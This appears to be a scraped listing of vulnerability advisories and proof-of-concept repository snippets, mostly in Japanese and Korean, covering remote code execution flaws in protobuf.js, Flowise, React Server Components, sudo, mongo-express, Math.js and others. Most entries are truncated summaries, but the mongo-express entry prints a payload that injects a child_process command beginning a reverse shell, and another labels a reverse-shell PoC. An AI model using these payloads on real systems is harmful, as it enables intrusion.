CVE-2026-41242

CVE-2026-41242 — protobuf.js コードインジェクションによるRCE CVSS 9.4（クリティカル） | コードインジェクション（CWE-94） 概要 protobuf.js（npm: protobufjs）バージョン ≤ 7.5.4 および ≤ 8.0.0 には、protobufスキーマ内のタイプ名を介した任意コード実行 の脆弱性があります。@protobufjs/codegen モジュールはタイプ名をJavaScript文字列に直接連結し、Function コンストラクタ（eval...

CVE-2025-59528

CVE-2025-59528: Flowise CustomMCP リモートコード実行 PoC CVE-2025-59528 を対象とした Go 製の概念実証（PoC）です。対象は Flowise バージョン...

CVE-2025-55182

CVE-2025-55182 このリポジトリには、React Server Components（RSC）における未認証の任意コード実行を可能にする重大なセキュリティ脆弱性 CVE-2025-55182 のPoC再現が含まれています。 説明 この脆弱性は、React Server Componentsがクライアントリクエストから「Server Actions」をデシリアライズする方法に存在します。具体的には、requireModule 関数が、要求されたエクスポート名がモジュールの直接のプロパティであることを検証できていませんでした。これにより、攻撃者はエクスポートされた関数の...

sudoinjection

CVE-2025-32463: sudo -R NSSインジェクションによるローカル権限昇格 概要 このPoCは、カスタムNSSモジュールと組み合わせたsudo -Rオプションの悪用により、Linuxシステム上でのローカル権限昇格 を実証します。これは、chroot環境下でのnsswitch.confおよびNSS共有ライブラリの安全でない取り扱いに起因する脆弱性CVE-2025-32463を標的としています。...

CVE-2025-59528-POC

CVE-2025-59528 - FlowiseAI CustomMCP リモートコード実行 CVSS 10.0（重大） | Blind RCE | FlowiseAI Flowise = 2.2.7-patch.1 かつ 3.0.6 概要 CustomMCPノードにおける重大なリモートコード実行脆弱性。FlowiseAI...

CVE-2025-59528

CVE-2025-59528 – Flowise CustomMCP Node RCE PoC 概要 このリポジトリには、Flowise v3.0.5 における CVE-2025-59528 の概念実証が含まれています。 脆弱性は customMCP ノードに存在し、ユーザーが提供した mcpServerConfig 入力が、Function コンストラクタを使用した安全でない評価を介して JavaScript コードの実行につながる方法で処理されます。 影響を受けるバージョン...

CVE-2025-55182

CVE-2025-55182 실제 설명을 찾고 있다면, msanft/CVE-2025-55182에 좋은 설명이 있습니다 작동하는 PoC 포함. 이 저장소는 제가 시도한 몇 가지 결과물흥미로운 결과만 포함하고 있습니다. ./thing.py 이제 작동하는 PoC를 포함하고 있으며, 대부분은 https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3 에서 가져왔습니다. 오래된 것들 템플릿: root@kitploit: !/usr/bin/env python3 import http...

CVE-2025-59528.yaml

CVE-2025-59528.yaml...

CVE-2021-42342

CVE-2021-42342 CVE-2021-42342 RCE POC1: 単に出力するだけ root@kitploit: include include include include static void beforemainvoid attributeconstructor; static void beforemainvoid write1, "Hello World!\n", 14; POC2: リバースシェル root@kitploit: include include include include char serverip=""; uint32t...

CVE-2025-55182

CVE-2025-55182 このリポジトリは、CVE-2025-55182 の PoC 再現コードです。これは React Server Components RSC における深刻なセキュリティ脆弱性で、認証なしで任意のコード実行を可能にします。 説明 この脆弱性は、React Server Components がクライアントリクエストから「Server Actions」をデシリアライズする方法に存在します。具体的には、requireModule...

EUVD-2026-84941

IBM Financial Transaction Manager FTM for RedHat OpenShift could allow a remote attacker to execute arbitrary code due to improper neutralization of user-controlled input within the new Function constructor...

CVE-2026-18162

IBM Financial Transaction Manager FTM for RedHat OpenShift could allow a remote attacker to execute arbitrary code due to improper neutralization of user-controlled input within the new Function constructor...

CVE-2026-18162 IBM Financial Transaction Manager (FTM) is Impacted by Multiple Vulnerabilities

IBM Financial Transaction Manager FTM for RedHat OpenShift could allow a remote attacker to execute arbitrary code due to improper neutralization of user-controlled input within the new Function constructor...

CVE-2026-18162

The IBM Financial Transaction Manager (FTM) for RedHat OpenShift is impacted by a vulnerability that could allow a remote attacker to execute arbitrary code . The root cause is the improper neutralization of user-controlled input within the new Function constructor . The vulnerability has a CRITI...

CVE-2019-10758

CVE-2019-10758 mongo-expressのリモートコード実行、リバースシェルのコードは以下のとおりです： POST BODY 1: document=this.constructor.constructor"return process".mainModule.require"childprocess".execSync"mkfifo /tmp/f" POST BODY 2： document=this.constructor.constructor"return process".mainModule.require"childprocess".execSync"cat...

CVE-2025-58434-59528

CVE-2025-58434 + CVE-2025-59528 Flowise = 3.0.5 に影響を与える2つの脆弱性のエクスプロイトチェーン。 脆弱性 CVE-2025-58434 — 認証なしのアカウント乗っ取り パスワードリセット用のエンドポイントは、認証を必要とせずにAPIレスポンス内で有効なパスワードリセットトークンを返します。有効なメールアドレスを知っている攻撃者は、ユーザーの操作なしに任意のアカウントのパスワードをリセットできます。 CVE-2025-59528 — 認証済みリモートコード実行...

CVE-2026-40897

CVE-2026-40897 Math.js 式パーサーにおけるリモートコード実行 ★ CVE-2026-40897 Math.js リモートコード実行 PoC ★ https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898 概要 CVE-2026-40897 は、Math.js の式パーサーにおけるサンドボックス回避によるリモートコード実行 の脆弱性です。 isSafeProperty...

React2Shell-CVE-2025-55182-The-Deserialization-Bug-That-Broke-the-Web

React2Shell CVE-2025-55182: 웹을 무너뜨린 역직렬화 버그 ⚡ React2Shell, CVE-2025-55182, RCE 취약점: React Server Components의 안전하지 않은 역직렬화 결함으로 인해 기본 React/Next.js 설정에서 인증 없이 원격 코드 실행이 가능하게 된 심각한 취약점 분석. ⏩ 요약 React2Shell CVE-2025-55182는 React 19.x 및 Next.js와 같은 프레임워크의 React Server ComponentsRSC에 영향을 미치는 심각한 원격 코드...

Atlassian Confluence 8.9.0 < 9.2.24 / 9.3.1 < 10.2.17 (CONFSERVER-104362)

The version of Atlassian Confluence Server running on the remote host is affected by a vulnerability as referenced in the CONFSERVER-104362 advisory. - Impact: The fix for CVE-2021-23337 https://github.com/advisories/GHSA-35jh-r3h4-6jhm added validation for the variable option in .template but di...

Atlassian Jira Service Management Data Center and Server 5.15.2 < 10.3.24 / 10.4.x < 11.3.7 (JSDSERVER-16596)

The version of Atlassian Jira Service Management Data Center and Server Jira Service Desk running on the remote host is affected by a vulnerability as referenced in the JSDSERVER-16596 advisory. - Impact: The fix for CVE-2021-23337 https://github.com/advisories/GHSA-35jh-r3h4-6jhm added validatio...